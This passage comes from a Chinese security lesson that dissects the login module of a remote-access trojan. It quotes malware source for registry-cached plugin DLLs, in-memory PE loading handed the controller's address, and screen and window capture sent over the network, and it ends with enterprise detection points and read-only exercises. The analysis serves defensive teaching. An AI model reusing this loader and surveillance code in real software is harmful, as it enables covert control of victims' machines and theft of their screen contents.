// 注册表值内容 = DllSendData 头部 + 插件二进制数据。
memcpy(writeregeditbuffer, temp, sizeof(DllSendData));
memcpy(writeregeditbuffer + sizeof(DllSendData),
pPluginDllShellcodeData,
temp->dllDataSize);
HKEY hKey;
#ifdef _WIN64
if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("Console\\1"), &hKey))
#else
if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("Console\\0"), &hKey))
#endif
{
TCHAR* DllName = new TCHAR[255];
// 值名由插件名计算 MD5,真实插件名不会直接出现在值名中。
BufToMd5(DllName, temp->szDllName);
// 写入 REG_BINARY。企业侧可把该事件和前面的 COMMAND_SENDLL 关联。
::RegSetValueEx(hKey, DllName, 0, REG_BINARY,
(unsigned char*)writeregeditbuffer, writeregeditsize);
SAFE_DELETE_AR(DllName);
}
// 触发点:收到并缓存插件数据后,启动加载线程。
// 线程入口是 Loop_DllManager,后续会进入 LoadLibrary 或 MemoryLoadLibrary。
HANDLE hWorker = (HANDLE)_beginthreadex(
NULL, 0, Loop_DllManager, (void*)pDllData, 0, NULL);
CloseHandle(hWorker);
}
break;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# 14. Loop_DllManager:动态加载边界
插件数据真正进入高风险边界是在 Loop_DllManager。Debug 使用 LoadLibrary,Release 使用 MemoryLoadLibrary。
// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:11-49
unsigned int __stdcall Loop_DllManager(void* pVoid)
{
// pVoid 来自 _beginthreadex 的参数,实际类型是 DllData*。
// 该结构包含插件二进制数据、插件元信息和登录模块连接上下文。
DllData* pDllData = (DllData*)pVoid;
// DLLMain 是插件导出函数 Main 的函数指针类型。
// 插件 Main 会接收登录模块传来的 ip、port、istcp。
typedef void (*DLLMain)(
TCHAR* ip,
DWORD port,
BOOL istcp,
BOOL RunDllEntryProc);
// lpproc 保存 GetProcAddress / MemoryGetProcAddress 得到的导出函数地址。
DLLMain lpproc;
// m_nDllLoadMode 决定插件加载路径。
// DLL_MEMLOAD 是本课重点:Release 分支会从内存数据加载。
switch (pDllData->m_nDllLoadMode)
{
case DLL_MEMLOAD:
{
#ifdef _DEBUG
// Debug:从本地 DLL 文件加载,方便开发调试。
// 如果企业环境出现该分支,要继续确认是否为合法调试构建。
HMODULE hDllModule = ::LoadLibrary(pDllData->m_sendDllData->szDllName);
#else
// Release:从内存中的插件数据加载 PE。
// 防御分析:这是内存加载边界,重点看内存 PE、动态导出和线程启动。
// 输入是 pDllData->m_pDllData 和 dllDataSize,来源于 COMMAND_SENDLL。
HMEMORYMODULE hDllModule = ::MemoryLoadLibrary(
pDllData->m_pDllData,
pDllData->m_sendDllData->dllDataSize);
#endif
if (hDllModule != NULL)
{
#ifdef _DEBUG
// Debug 分支查找普通 DLL 导出函数 Main。
lpproc = (DLLMain)::GetProcAddress(hDllModule, "Main");
#else
// Release 分支查找内存模块中的导出函数 Main。
lpproc = (DLLMain)MemoryGetProcAddress(hDllModule, "Main");
#endif
if (lpproc != NULL)
{
// 插件 Main 继承登录模块的地址、端口和协议模式。
// 这是登录模块成为后续插件连接上下文中转站的直接证据。
(*lpproc)(
pDllData->m_strMasterHost,
pDllData->m_nMasterPort,
pDllData->m_bIsTcp,
false);
#ifdef _DEBUG
::FreeLibrary(hDllModule);
#else
// 释放 MemoryModule 加载出的内存模块。
MemoryFreeLibrary(hDllModule);
#endif
}
}
}
break;
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
MemoryModule 的核心接口如下。
// 源码位置:主插件/登录模块/登录模块/MemoryModule.h:48-79
// 该组件来自 MemoryModule,原作者 Joachim Bauch,MPL 2.0 许可。
// 用途:把内存中的 PE 数据当作模块加载,并解析导出函数。
// 防御分析:调用这些接口时,应结合插件数据来源、线程入口和注册表缓存一起判断。
// 从内存地址和长度加载 PE 数据,返回内存模块句柄。
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
// 从内存模块中查找导出函数,常见目标是 "Main"。
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
// 释放内存模块。
void MemoryFreeLibrary(HMEMORYMODULE);
2
3
4
5
6
7
8
9
10
11
12
13
# 15. 状态上报和屏幕相关逻辑
心跳和状态命令都会触发 SendCondition。
// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:641-648
case TOKEN_HEARTBEAT:
{
// lpBuffer[1] 是状态标志:0 表示只发基础状态,非 0 表示发送更完整状态。
// 心跳包触发状态上报时,要把网络心跳和主机采集行为放在同一时间线。
if (lpBuffer[1] == 0)
SendCondition(false);
else
SendCondition(true);
}
break;
// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:372-375
case COMMAND_GET_PROCESSANDCONDITION:
{
// 主动请求进程和状态时,强制发送完整状态。
SendCondition(true);
}
break;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
SendCondition 会采集用户活跃状态、前景窗口,必要时附带缩略屏幕数据。
// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:695-727
void CLoginManager::SendCondition(bool all)
{
// DataUpdate 是状态上报结构体,后续可能单独发送,也可能和截图数据拼接发送。
DATAUPDATE* DataUpdate = new DATAUPDATE;
memset(DataUpdate, 0, sizeof(DATAUPDATE));
// TOKEN_CONDITION 表示这是一条状态上报数据。
DataUpdate->Btoken = TOKEN_CONDITION;
// 采集用户活跃状态和当前前景窗口。
// 这些字段属于终端使用状态,涉及隐私,应结合业务授权判断。
GetActive(DataUpdate->UserActive);
getactivewindows(DataUpdate->Window);
// screendatasize/x/y 由 GetScreen 写回,用于描述后续屏幕数据。
int screendatasize = 0;
int x = 0;
int y = 0;
// 防御分析:all 为 true 时可能采集缩略屏幕。
// GetScreen 之后如果紧跟 Send,就形成“采集 -> 打包 -> 网络发送”的链路。
byte* screendata = GetScreen(screendatasize, x, y, true, false, 0, 0);
if ((screendatasize == 0) || (!all))
{
// 基础状态上报:只发送 DATAUPDATE。
Send((LPBYTE)DataUpdate, sizeof(DATAUPDATE));
}
else
{
// 完整状态上报:DATAUPDATE 头部 + 屏幕数据。
int SendSize = screendatasize + sizeof(DATAUPDATE);
BYTE* lpPacket = new BYTE[SendSize];
DataUpdate->iScreenWidth = x;
DataUpdate->iScreenHeight = y;
memcpy(lpPacket, DataUpdate, sizeof(DATAUPDATE));
::memcpy(lpPacket + sizeof(DATAUPDATE), screendata, screendatasize);
// 触发点:屏幕相关数据被拼到网络包里发送。
Send((LPBYTE)lpPacket, SendSize);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
图像压缩使用 ATL CImage。
// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:832-854
unsigned long CLoginManager::BMP2JPEG(
const char* pUnZipData,
unsigned long ulUnZipDataLen,
std::string* jpgData)
{
// pUnZipData/ulUnZipDataLen 是前面屏幕采集得到的 BMP 数据。
// jpgData 用来接收 JPEG 编码后的数据。
HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, ulUnZipDataLen);
void* pData = GlobalLock(hGlobal);
::memcpy(pData, pUnZipData, ulUnZipDataLen);
GlobalUnlock(hGlobal);
IStream* pStream = NULL;
if (CreateStreamOnHGlobal(hGlobal, FALSE, &pStream) == S_OK)
{
// CImage 来自 ATL,用于加载 BMP 并保存为 JPEG。
// 单独看图像转换不一定异常,要结合屏幕采集和网络上报。
CImage image;
if (SUCCEEDED(image.Load(pStream)))
{
IStream* pOutStream = NULL;
if (CreateStreamOnHGlobal(NULL, FALSE, &pOutStream) == S_OK)
{
// 这里把 BMP 转为 JPEG,目的通常是降低后续传输体积。
image.Save(pOutStream, Gdiplus::ImageFormatJPEG);
}
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 16. DbgHelp 和 WinINet 也要放进链路里
DbgHelp 用于崩溃转储,WinINet 用于 URL 读取。它们都是常见系统库,单独出现不能定性,但和登录链路组合时有分析价值。
// 源码位置:主插件/登录模块/登录模块/登录模块.cpp:320-345
int GenerateMiniDump(PEXCEPTION_POINTERS pExceptionPointers)
{
// pExceptionPointers 来自异常处理回调,用于描述崩溃现场。
typedef BOOL(WINAPI* MiniDumpWriteDumpT)(
HANDLE, DWORD, HANDLE, MINIDUMP_TYPE,
PMINIDUMP_EXCEPTION_INFORMATION,
PMINIDUMP_USER_STREAM_INFORMATION,
PMINIDUMP_CALLBACK_INFORMATION);
// 动态加载 DbgHelp.dll 获取 MiniDumpWriteDump。
// DbgHelp 常见于崩溃诊断,单独出现不定性;要和登录、长连接、插件加载关联。
HMODULE hDbgHelp = LoadLibrary((_T("DbgHelp.dll")));
MiniDumpWriteDumpT pfnMiniDumpWriteDump =
(MiniDumpWriteDumpT)GetProcAddress(hDbgHelp, "MiniDumpWriteDump");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 源码位置:主插件/登录模块/登录模块/help.cpp:1366-1413
// 动态加载 wininet.dll,避免在导入表中直接表现为静态依赖。
HINSTANCE hdlldes = LoadLibrary(_T("wininet.dll"));
typedef HINTERNET(WINAPI* NETOPEN)(LPCTSTR, DWORD, LPCTSTR, LPCTSTR, DWORD);
// InternetOpenW 创建 WinINet 会话。
NETOPEN myNetOpen = (NETOPEN)GetProcAddress(hdlldes, "InternetOpenW");
typedef HINTERNET(WINAPI* NETOPENURL)(
HINTERNET, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD_PTR);
// InternetOpenUrlW 打开目标 URL。
NETOPENURL myNetOpenUrl =
(NETOPENURL)GetProcAddress(hdlldes, "InternetOpenUrlW");
typedef BOOL(WINAPI* APIS)(HINTERNET, LPVOID, DWORD, LPDWORD);
// InternetReadFile 读取网络内容,源码后续还会写入本地文件。
APIS myapis = (APIS)GetProcAddress(hdlldes, "InternetReadFile");
// 防御分析:动态解析 WinINet API 后读取 URL 并写入文件。
// 需要和进程路径、父进程、后续文件行为一起看。
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 17. 企业检测点

| 观察面 | 事件 | 关联方式 |
|---|---|---|
| 网络侧 | 长连接、心跳、固定登录包 | 关联进程路径、父进程、连接时间 |
| 主机侧 | DLL 加载后创建线程、输入接口、窗口枚举 | 关联模块路径和线程起始地址 |
| 注册表侧 | HKCU\Console\0/1 写入 REG_BINARY | 关联 COMMAND_SENDLL 时间点 |
| 内存侧 | MemoryLoadLibrary、动态导出 Main | 关联插件线程和二进制缓冲区 |
| 设备枚举 | 摄像头、显卡、显示器、前景窗口 | 关联 LOGININFO 字段 |
| 图像处理 | BMP/JPEG 转换 | 关联屏幕采集和网络上报 |
更可靠的检测组合:
| 组合 | 优先级 |
|---|---|
登录首包 + TOKEN_ACTIVED + TOKEN_GETAUTODLL | 高 |
HKCU\Console\0/1 二进制缓存 + 内存 PE 加载 | 高 |
| 输入接口 + 前景窗口采集 + 长连接 | 高 |
单独加载 DbgHelp.dll | 低,需要上下文 |
| 单独调用系统信息 API | 低,需要上下文 |
# 18. 合法练习题
- 只阅读源码,不运行样本,画出
DllMain/run -> MainThread -> sendLoginInfo -> TOKEN_ACTIVED -> OnReceive的调用链。 - 把
LOGININFO字段分成“资产信息”“运行状态”“隐私敏感信息”三类。 - 整理 HPSocket、MemoryModule、ATL
CImage、DirectInput、DXGI、WinINet、DbgHelp 在本课中的用途。 - 基于防御日志假设,写一条关联规则思路:同一进程在短时间内出现长连接、
HKCU\Console\0/1二进制写入、内存 PE 加载时提高优先级。 - 检查
COMMAND_SENDLL中dllDataSize的使用,说明长度字段不可信时会带来哪些稳定性和安全风险。
本课要形成的核心认识:登录模块是后续插件能力的枢纽。它先建立网络身份,再维持激活状态,最后把插件数据、注册表缓存和内存加载串到一起。后续第 22 课到第 49 课也应按这种方式读:先说明触发点,再贴关键源码,再解释第三方库用途,最后给出企业检测点和合法练习。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言